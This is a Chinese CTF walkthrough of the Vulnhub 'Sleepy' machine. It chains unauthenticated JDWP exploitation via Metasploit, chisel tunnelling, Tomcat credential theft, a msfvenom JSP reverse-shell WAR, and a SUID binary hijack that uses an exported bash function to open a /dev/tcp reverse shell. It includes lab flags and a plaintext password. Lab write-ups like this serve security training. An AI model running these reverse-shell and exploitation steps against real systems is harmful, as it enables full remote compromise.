[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…

2024-06-27 324 0

信息收集

Server IP Address Ports Opening
192.168.8.100 TCP:21,8009,9001

$ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn

Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT
Nmap scan report for 192.168.8.100 (192.168.8.100)
Host is up (0.00080s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.8.107
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
|_jdwp-info: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.60 seconds

Jdwp

通过jdb,可以未授权连接9001端口,并且可以进行文件读取
$ jdb -attach 192.168.8.100:9001
> threads
> interrupt 1

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图

使用msf利用jdwp漏洞

$ msfconsole
msf6 > search jdwp
msf6 > use 0
msf6 exploit(multi/misc/java_jdwp_debugger) > set RHOSTS 192.168.8.100
msf6 exploit(multi/misc/java_jdwp_debugger) > set RPORT 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > exploit

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图1

查看网络端口开放情况

meterpreter > netstat -ano

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图2

8080为Tomcat服务

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图3

利用chisel将8080端口映射

[Kali]
$ ./chisel server -p 8000 --reverse

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图4

[靶机]

[sleepy@sleepy tmp]$ curl http://192.168.8.107/chisel -O chisel
[sleepy@sleepy tmp]$ chmod +x chisel
[sleepy@sleepy tmp]$ ./chisel client 192.168.8.107:8000 R:8080:localhost:8080

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图5

通过kali访问http://127.0.0.1:8080/manager/html

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图6

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图7

使用cat命令读取/etc/tomcat/tomcat-users.xml文件获取账户密码

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图8

username:sl33py
password:Gu3SSmYStR0NgPa$sw0rD!

构造war包,获取tomcat用户的shell

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图9

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图10

msf监听

meterpreter > use exploit/multi/handler
meterpreter > set payload java/jsp_shell_reverse_tcp
meterpreter > set LHOST 192.168.8.107
meterpreter > set LPORT 10032
meterpreter > exploit

访问地址http://127.0.0.1:8080/shell/

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图11

Local.txt 截屏

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图12

Local.txt 内容

5a5946b264f0f12355ddc51693bbb255

权限提升

查找具有SUID的文件

bash-4.2$ find / -perm -4000 -type f 2>null

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图13

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图14

bash-4.2$ cp /usr/bin/nightmare /usr/share/tomcat/webapps/sample/nightmare

访问http://192.168.8.107:8080/sample/nightmare下载nightmare

首次将尝试打开/dev/tty,如果成功,则将进入fire函数,反之则退出

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图15

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图16

如果选择yes,则将再次调用fire

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图17

不过我们通过命令执行,出现了错误,它似乎使用了库“aalib”,一个 ASCII 艺术库。aalib 无法初始化

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图18

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图19

我们跟进train函数时

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图20

setresuid(ruid: 0, euid: 0, suid: 0):

  • 这是一个系统调用,用于设置进程的真实用户 ID(Real UID)、有效用户 ID(Effective UID)和保存的设置用户 ID(Saved UID)。
    在这个调用中,ruid、euid 和 suid 都被设置为 0,这意味着进程将自身的所有用户 ID 都设置为 root(超级用户)。

setresgid(rgid: 0, egid: 0, sgid: 0):

  • 类似于 setresuid,这是一个系统调用,用于设置进程的真实组 ID(Real GID)、有效组 ID(Effective GID)和保存的设置组 ID(Saved GID)。
    在这个调用中,rgid、egid 和 sgid 都被设置为 0,这意味着进程将自身的所有组 ID 都设置为 root 组。

return system(line: "/usr/bin/sl -al"):

  • 这是一个 system 调用,用于在 shell 中执行命令。
    在这个调用中,执行了命令 "/usr/bin/sl -al",这是一个模拟火车动画的命令(sl 是一个著名的玩笑程序,它模拟的是打错 ls 时出现的火车动画,-al 是它的参数)。

https://serverfault.com/questions/548320/override-path-to-binary-for-particular-user/548323#548323

中而得知,我们可以劫持程序中的/usr/bin/sl.

bash-4.2$ function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&amp1;}

bash-4.2$ export -f /usr/bin/sl

使用 export -f 将函数 /usr/bin/sl 导出到子 shell 环境中。这意味着任何从当前 shell 派生出来的子 shell 都可以使用这个函数定义。

bash-4.2$ /usr/bin/nightmare

ctrl+c退出时,将会自动调用/usr/bin/sl函数

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图21

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图22

Proot.txt 截屏

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-engin…插图23

Proot.txt 内容

92f64746d7cd155607533c778774b995


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论